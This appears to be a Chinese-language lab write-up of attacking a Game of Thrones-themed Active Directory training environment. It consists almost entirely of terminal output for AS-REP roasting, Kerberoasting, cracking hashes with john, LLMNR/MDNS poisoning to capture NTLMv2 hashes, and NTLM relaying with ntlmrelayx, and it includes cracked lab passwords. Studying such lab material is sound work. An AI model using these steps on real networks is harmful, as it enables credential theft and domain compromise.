┌──(root㉿kaada)-[/home/kali/Desktop] └─# nxc winrm 192.168.10.11 -u "samwell.tarly" -p "Heartsbane" WINRM 192.168.10.115985 WINTERFELL [*] Windows 10 / Server2019 Build 17763 (name:WINTERFELL) (domain:north.sevenkingdoms.local) /usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in48.0.0. arc4 = algorithms.ARC4(self._key) WINRM 192.168.10.115985 WINTERFELL [-] north.sevenkingdoms.local\samwell.tarly:Heartsbane
┌──(root㉿kaada)-[/home/kali/Desktop] └─# impacket-GetNPUsers north.sevenkingdoms.local/ -no-pass -usersfile users.txt -dc-ip 192.168.10.11 Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] Usersql_svc doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Userjeor.mormont doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Usersamwell.tarly doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Userjon.snow doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Userhodor doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Userrickon.stark doesn't have UF_DONT_REQUIRE_PREAUTH set $krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:0f50f2d7780bd246151b4f35292e34b6$a26110b28e2be5c451fa277b6b594a3b26807b016989eea436140a46751c94464ef389c35a18d5fa8ad1d126197121b8269d3124665d7b95d05e2bd4c867b68ef88b3ce70653a6ee6b07879a6960358a46509c3f3c21d780421eb3346d6c5c36bf70c4e6bc16bd27fce04cc862087e8c0e4dc577c70aa3005b66450aa0ece713d7cb8069d3caaaadfa272062322ad20172c9d6c81e8624fefa630264788ab1c7aae6c2205008556c7ce45bee4fa7bb2604fd1a9b881bc1145fe324825d5c9010e0a630e1b0902cf0e3dbe439266e03bb0ee9986369355d943f863b0e2fc8ec88f2ac21e9233e4da5b7a2832e579acd0dccad726d1c3a866e6c1e29b57b538fb91498e8cf1375 [-] Usersansa.stark doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Userrobb.stark doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Usercatelyn.stark doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Usereddard.stark doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Userarya.stark doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Uservagrant doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] UserAdministrator doesn't have UF_DONT_REQUIRE_PREAUTH set
我们得到了布兰登·史塔克的哈希,使用john可以爆破出来。
1 2 3 4 5 6 7 8 9 10
┌──(root㉿kaada)-[/home/kali/Desktop] └─# john hash.txt --wordlist=rockyou.txt Usingdefaultinputencoding: UTF-8 Loaded 1password hash (krb5asrep, Kerberos 5AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x]) Will run 4 OpenMP threads Press 'q'or Ctrl-C toabort, almost any other key for status iseedeadpeople ($krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL) 1g 0:00:00:00 DONE (2026-02-0102:17) 16.66g/s 904533p/s 904533c/s 904533C/s soydivina..250984 Use the "--show" optionto display allof the cracked passwords reliably Session completed.
┌──(root㉿kaada)-[/home/kali/Desktop] └─# nxc winrm 192.168.10.11 -u "brandon.stark" -p "iseedeadpeople" WINRM 192.168.10.115985 WINTERFELL [*] Windows 10 / Server2019 Build 17763 (name:WINTERFELL) (domain:north.sevenkingdoms.local) /usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in48.0.0. arc4 = algorithms.ARC4(self._key) WINRM 192.168.10.115985 WINTERFELL [-] north.sevenkingdoms.local\north.sevenkingdoms.local\brandon.stark:iseedeadpeople
┌──(root㉿kaada)-[/home/kali/Desktop] └─# john roast.txt --wordlist=rockyou.txt Usingdefaultinputencoding: UTF-8 Loaded 3password hashes with3 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4]) Will run 4 OpenMP threads Press 'q'or Ctrl-C toabort, almost any other key for status iknownothing (?) 1g 0:00:00:12 DONE (2026-02-0102:45) 0.08271g/s 1186Kp/s 2987Kc/s 2987KC/s !!12Honey..*7¡Vamos! Use the "--show" optionto display allof the cracked passwords reliably Session completed.
SPN (Service Principal Name): 服务主体名称,是 Kerberos 识别服务的唯一标识(如 MSSQLSvc/server.local)。
高价值目标: 如果服务运行在域管理员(Domain Admin)账号下,破解成功直接导致域沦陷。
1
jon.snow:iknownothing
查看jon.snow的权限
1 2 3 4 5 6 7
┌──(root㉿kaada)-[/home/kali/Desktop] └─# nxc winrm 192.168.10.11 -u "jon.snow" -p "iknownothing" WINRM 192.168.10.115985 WINTERFELL [*] Windows 10 / Server2019 Build 17763 (name:WINTERFELL) (domain:north.sevenkingdoms.local) /usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in48.0.0. arc4 = algorithms.ARC4(self._key) WINRM 192.168.10.115985 WINTERFELL [-] north.sevenkingdoms.local\jon.snow:iknownothing
[*][MDNS] Poisoned answer sent to fe80::1d17:a38a:843c:b94a for name Bravos.local [*][LLMNR] Poisoned answer sent to fe80::1d17:a38a:843c:b94a for name Bravos [*][MDNS] Poisoned answer sent to fe80::1d17:a38a:843c:b94a for name Bravos.local [*][LLMNR] Poisoned answer sent to fe80::1d17:a38a:843c:b94a for name Bravos [SMB] NTLMv2-SSP Client : fe80::1d17:a38a:843c:b94a [SMB] NTLMv2-SSP Username : NORTH\robb.stark [SMB] NTLMv2-SSP Hash : robb.stark::NORTH:5cab2ee05c35b94e:C1F8C20C08A50F1573EA7369EDD807C1:010100000000000080A474792693DC013D4144D8E6A070BB0000000002000800560032005200550001001E00570049004E002D00480045004300330042004D00590036004B0057004B0004003400570049004E002D00480045004300330042004D00590036004B0057004B002E0056003200520055002E004C004F00430041004C000300140056003200520055002E004C004F00430041004C000500140056003200520055002E004C004F00430041004C000700080080A474792693DC01060004000200000008003000300000000000000000000000003000008C52D3E19A1CA2ADB7167B849B891695BD685A330597915B87342EFD6DC6FA530A001000000000000000000000000000000000000900160063006900660073002F0042007200610076006F0073000000000000000000 [*][MDNS] Poisoned answer sent to fe80::1d17:a38a:843c:b94a for name Bravos.local [*][MDNS] Poisoned answer sent to fe80::1d17:a38a:843c:b94a for name Bravos.local [*][LLMNR] Poisoned answer sent to fe80::1d17:a38a:843c:b94a for name Bravos [*][LLMNR] Poisoned answer sent to fe80::1d17:a38a:843c:b94a for name Bravos [*] Skipping previously captured hash for NORTH\robb.stark [*][MDNS] Poisoned answer sent to fe80::1d17:a38a:843c:b94a for name Bravos.local [*][MDNS] Poisoned answer sent to fe80::1d17:a38a:843c:b94a for name Bravos.local [*][LLMNR] Poisoned answer sent to fe80::1d17:a38a:843c:b94a for name Bravos [*][LLMNR] Poisoned answer sent to fe80::1d17:a38a:843c:b94a for name Bravos [*] Skipping previously captured hash for NORTH\robb.stark
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
[*][MDNS] Poisoned answer sent to fe80::c0f2:f4a3:db2:7210for name wpad.local [*][MDNS] Poisoned answer sent to fe80::c0f2:f4a3:db2:7210for name wpad.local [*][LLMNR] Poisoned answer sent to fe80::c0f2:f4a3:db2:7210for name wpad [*][MDNS] Poisoned answer sent to fe80::c0f2:f4a3:db2:7210for name wpad.local [*][MDNS] Poisoned answer sent to fe80::c0f2:f4a3:db2:7210for name wpad.local [*][LLMNR] Poisoned answer sent to fe80::c0f2:f4a3:db2:7210for name wpad [*][MDNS] Poisoned answer sent to fe80::5cd5:443:2cc5:7310for name kingslanding.local [*][LLMNR] Poisoned answer sent to fe80::5cd5:443:2cc5:7310for name kingslanding [*][MDNS] Poisoned answer sent to fe80::5cd5:443:2cc5:7310for name kingslanding.local [*][LLMNR] Poisoned answer sent to fe80::5cd5:443:2cc5:7310for name kingslanding [*][MDNS] Poisoned answer sent to fe80::1d17:a38a:843c:b94a for name Meren.local [*][MDNS] Poisoned answer sent to fe80::1d17:a38a:843c:b94a for name Meren.local [*][LLMNR] Poisoned answer sent to fe80::1d17:a38a:843c:b94a for name Meren [*][LLMNR] Poisoned answer sent to fe80::1d17:a38a:843c:b94a for name Meren [SMB] NTLMv2-SSP Client : fe80::1d17:a38a:843c:b94a [SMB] NTLMv2-SSP Username : NORTH\eddard.stark [SMB] NTLMv2-SSP Hash : eddard.stark::NORTH:881cb768f9ab001b:00C0729635FE5843A7CEDFA214F0ADBE:010100000000000080A474792693DC01E0BEB34BF358B3AD0000000002000800560032005200550001001E00570049004E002D00480045004300330042004D00590036004B0057004B0004003400570049004E002D00480045004300330042004D00590036004B0057004B002E0056003200520055002E004C004F00430041004C000300140056003200520055002E004C004F00430041004C000500140056003200520055002E004C004F00430041004C000700080080A474792693DC01060004000200000008003000300000000000000000000000003000008C52D3E19A1CA2ADB7167B849B891695BD685A330597915B87342EFD6DC6FA530A001000000000000000000000000000000000000900140063006900660073002F004D006500720065006E000000000000000000 [*][MDNS] Poisoned answer sent to fe80::1d17:a38a:843c:b94a for name Meren.local
┌──(root㉿kaada)-[/home/kali/Desktop] └─# john hash.txt --wordlist=rockyou.txt Usingdefaultinputencoding: UTF-8 Loaded 2password hashes with2 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 4 OpenMP threads Press 'q'or Ctrl-C toabort, almost any other key for status sexywolfy (robb.stark) 1g 0:00:00:04 DONE (2026-02-0103:02) 0.2070g/s 2969Kp/s 3238Kc/s 3238KC/s !)(OPPQR..*7¡Vamos! Use the "--show --format=netntlmv2" optionsto display allof the cracked passwords reliably Session completed.
┌──(root㉿kaada)-[/home/kali/Desktop] └─# impacket-ntlmrelayx -tf relay.txt -of netntlm -smb2support -socks Impacket v0.14.0.dev0 - CopyrightFortra, LLC and its affiliated companies
[*] ProtocolClientLDAPS loaded.. [*] ProtocolClientLDAP loaded.. [*] ProtocolClientRPC loaded.. [*] ProtocolClientMSSQL loaded.. [*] ProtocolClientWINRMS loaded.. [*] ProtocolClientSMB loaded.. [*] ProtocolClientHTTP loaded.. [*] ProtocolClientHTTPS loaded.. [*] ProtocolClientDCSYNC loaded.. [*] ProtocolClientIMAPS loaded.. [*] ProtocolClientIMAP loaded.. [*] ProtocolClientSMTP loaded.. [*] Running in relay mode to hosts in targetfile [*] SOCKS proxy started. Listening on 127.0.0.1:1080 [*] MSSQLSocksPlugin loaded.. [*] LDAPSocksPlugin loaded.. [*] SMTPSocksPlugin loaded.. [*] SMBSocksPlugin loaded.. [*] IMAPSSocksPlugin loaded.. [*] LDAPSSocksPlugin loaded.. [*] HTTPSSocksPlugin loaded.. [*] IMAPSocksPlugin loaded.. [*] HTTPSocksPlugin loaded.. [*] Setting up SMBServer on port 445 [*] Setting up HTTPServer on port 80 [*] Setting up WCFServer on port 9389 [*] Setting up RAWServer on port 6666 [*] Setting up WinRM (HTTP) Server on port 5985 [*] Setting up WinRMS (HTTPS) Server on port 5986 [*] Setting up RPCServer on port 135 [*] Multirelay enabled
[*] Servers started, waiting for connections Type help for list of commands * ServingFlask app 'impacket.examples.ntlmrelayx.servers.socksserver' * Debug mode: off ntlmrelayx>
┌──(root㉿kaada)-[/home/kali/Desktop] └─# impacket-ntlmrelayx -tf relay.txt -of netntlm -smb2support -socks -6 Impacket v0.14.0.dev0 - CopyrightFortra, LLC and its affiliated companies
[*] ProtocolClientLDAPS loaded.. [*] ProtocolClientLDAP loaded.. [*] ProtocolClientRPC loaded.. [*] ProtocolClientMSSQL loaded.. [*] ProtocolClientWINRMS loaded.. [*] ProtocolClientSMB loaded.. [*] ProtocolClientHTTPS loaded.. [*] ProtocolClientHTTP loaded.. [*] ProtocolClientDCSYNC loaded.. [*] ProtocolClientIMAPS loaded.. [*] ProtocolClientIMAP loaded.. [*] ProtocolClientSMTP loaded.. [*] Running in relay mode to hosts in targetfile [*] SOCKS proxy started. Listening on 127.0.0.1:1080 [*] IMAPSocksPlugin loaded.. [*] HTTPSocksPlugin loaded.. [*] IMAPSSocksPlugin loaded.. [*] SMTPSocksPlugin loaded.. [*] MSSQLSocksPlugin loaded.. [*] HTTPSSocksPlugin loaded.. [*] LDAPSSocksPlugin loaded.. [*] SMBSocksPlugin loaded.. [*] LDAPSocksPlugin loaded.. [*] Setting up SMBServer on port 445 [*] Setting up HTTPServer on port 80 * ServingFlask app 'impacket.examples.ntlmrelayx.servers.socksserver' * Debug mode: off [*] Setting up WCFServer on port 9389 [*] Setting up RAWServer on port 6666 [*] Setting up WinRM (HTTP) Server on port 5985 [*] Setting up WinRMS (HTTPS) Server on port 5986 [*] Setting up RPCServer on port 135 [*] Multirelay enabled
[*] Servers started, waiting for connections Type help for list of commands ntlmrelayx> [*] (SMB): Received connection from NORTH/eddard.stark at WINTERFELL, connection will be relayed after re-authentication [] [*] (SMB): Connection from NORTH/EDDARD.STARK@fe80::1d17:a38a:843c:b94a controlled, attacking target smb://192.168.10.23 [*] (SMB): Authenticating connection from NORTH/EDDARD.STARK@fe80::1d17:a38a:843c:b94a against smb://192.168.10.23SUCCEED [1] [*] SOCKS: AddingSMB://NORTH/EDDARD.STARK@192.168.10.23(445) [1] to active SOCKS connection. Enjoy [] [*] (SMB): Connection from NORTH/EDDARD.STARK@fe80::1d17:a38a:843c:b94a controlled, attacking target smb://192.168.10.22 [*] (SMB): Authenticating connection from NORTH/EDDARD.STARK@fe80::1d17:a38a:843c:b94a against smb://192.168.10.22SUCCEED [2] [*] SOCKS: AddingSMB://NORTH/EDDARD.STARK@192.168.10.22(445) [2] to active SOCKS connection. Enjoy [*] All targets processed! [*] (SMB): Connection from NORTH/EDDARD.STARK@fe80::1d17:a38a:843c:b94a controlled, but there are no more targets left! [*] (SMB): Received connection from NORTH/eddard.stark at WINTERFELL, connection will be relayed after re-authentication [*] All targets processed! [*] (SMB): Connection from NORTH/EDDARD.STARK@fe80::1d17:a38a:843c:b94a controlled, but there are no more targets left! [*] (SMB): Received connection from NORTH/eddard.stark at WINTERFELL, connection will be relayed after re-authentication [*] All targets processed! [*] (SMB): Connection from NORTH/EDDARD.STARK@fe80::1d17:a38a:843c:b94a controlled, but there are no more targets left! [*] (SMB): Received connection from NORTH/eddard.stark at WINTERFELL, connection will be relayed after re-authentication [*] All targets processed! [*] (SMB): Connection from NORTH/EDDARD.STARK@fe80::1d17:a38a:843c:b94a controlled, but there are no more targets left! [*] (SMB): Received connection from NORTH/eddard.stark at WINTERFELL, connection will be relayed after re-authentication [*] (SMB): Received connection from NORTH/robb.stark at WINTERFELL, connection will be relayed after re-authentication [*] All targets processed! [*] (SMB): Connection from NORTH/ROBB.STARK@fe80::1d17:a38a:843c:b94a controlled, but there are no more targets left! [*] (SMB): Received connection from NORTH/robb.stark at WINTERFELL, connection will be relayed after re-authentication [*] All targets processed! [*] (SMB): Connection from NORTH/ROBB.STARK@fe80::1d17:a38a:843c:b94a controlled, but there are no more targets left! [*] (SMB): Received connection from NORTH/robb.stark at WINTERFELL, connection will be relayed after re-authentication [*] (SMB): Received connection from NORTH/robb.stark at WINTERFELL, connection will be relayed after re-authentication [*] All targets processed! [*] (SMB): Connection from NORTH/ROBB.STARK@fe80::1d17:a38a:843c:b94a controlled, but there are no more targets left! [*] (SMB): Received connection from NORTH/robb.stark at WINTERFELL, connection will be relayed after re-authentication [*] All targets processed! [*] (SMB): Connection from NORTH/ROBB.STARK@fe80::1d17:a38a:843c:b94a controlled, but there are no more targets left! [*] (SMB): Received connection from NORTH/robb.stark at WINTERFELL, connection will be relayed after re-authentication [*] All targets processed! [*] (SMB): Connection from NORTH/ROBB.STARK@fe80::1d17:a38a:843c:b94a controlled, but there are no more targets left! [*] (SMB): Received connection from NORTH/robb.stark at WINTERFELL, connection will be relayed after re-authentication
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Protocol Client LDAPS loaded.. [*] Protocol Client LDAP loaded.. [*] Protocol Client RPC loaded.. [*] Protocol Client MSSQL loaded.. [*] Protocol Client WINRMS loaded.. [*] Protocol Client SMB loaded.. [*] Protocol Client HTTPS loaded.. [*] Protocol Client HTTP loaded.. [*] Protocol Client DCSYNC loaded.. [*] Protocol Client IMAPS loaded.. [*] Protocol Client IMAP loaded.. [*] Protocol Client SMTP loaded.. [*] Running in relay mode to single host [*] Setting up SMB Server on port 445 [*] Setting up HTTP Server on port 80 [*] Setting up WCF Server on port 9389 [*] Setting up RAW Server on port 6666 [*] Setting up WinRM (HTTP) Server on port 5985 [*] Setting up WinRMS (HTTPS) Server on port 5986 [*] Setting up RPC Server on port 135 [*] Multirelay disabled
[*] Servers started, waiting for connections [*] (HTTP): Client requested path: /wpad.dat [*] Servers started, waiting for connections [*] (HTTP): Client requested path: /wpad.dat [*] (HTTP): Client requested path: /wpad.dat [*] (HTTP): Client requested path: /wpad.dat [*] (HTTP): Serving PAC file to client ::ffff:192.168.10.1 [*] (HTTP): Client requested path: http://ipv6.msftconnecttest.com/connecttest.txt [*] (HTTP): Client requested path: http://www.msftconnecttest.com/connecttest.txt [*] (HTTP): Client requested path: http://ipv6.msftconnecttest.com/connecttest.txt [*] (HTTP): Connection from ::ffff:192.168.10.1 controlled, attacking target ldaps://meereen.essos.local [*] (HTTP): Client requested path: http://www.msftconnecttest.com/connecttest.txt [*] (HTTP): Connection from ::ffff:192.168.10.1 controlled, attacking target ldaps://meereen.essos.local [-] (HTTP): Exception while Negotiating NTLM with ldaps://meereen.essos.local: "socket connection error while opening: [Errno 111] Connection refused" [-] (HTTP): Negotiating NTLM with ldaps://meereen.essos.local failed [-] (HTTP): Exception while Negotiating NTLM with ldaps://meereen.essos.local: "socket connection error while opening: [Errno 111] Connection refused" [-] (HTTP): Negotiating NTLM with ldaps://meereen.essos.local failed [*] (HTTP): Client requested path: http://www.msftconnecttest.com/connecttest.txt [*] (HTTP): Client requested path: http://ipv6.msftconnecttest.com/connecttest.txt [*] (HTTP): Client requested path: http://www.msftconnecttest.com/connecttest.txt [*] (HTTP): Connection from ::ffff:192.168.10.1 controlled, attacking target ldaps://meereen.essos.local [*] (HTTP): Client requested path: http://ipv6.msftconnecttest.com/connecttest.txt [*] (HTTP): Connection from ::ffff:192.168.10.1 controlled, attacking target ldaps://meereen.essos.local [-] (HTTP): Exception while Negotiating NTLM with ldaps://meereen.essos.local: "socket connection error while opening: [Errno 111] Connection refused" [-] (HTTP): Negotiating NTLM with ldaps://meereen.essos.local failed [-] (HTTP): Exception while Negotiating NTLM with ldaps://meereen.essos.local: "socket connection error while opening: [Errno 111] Connection refused" [-] (HTTP): Negotiating NTLM with ldaps://meereen.essos.local failed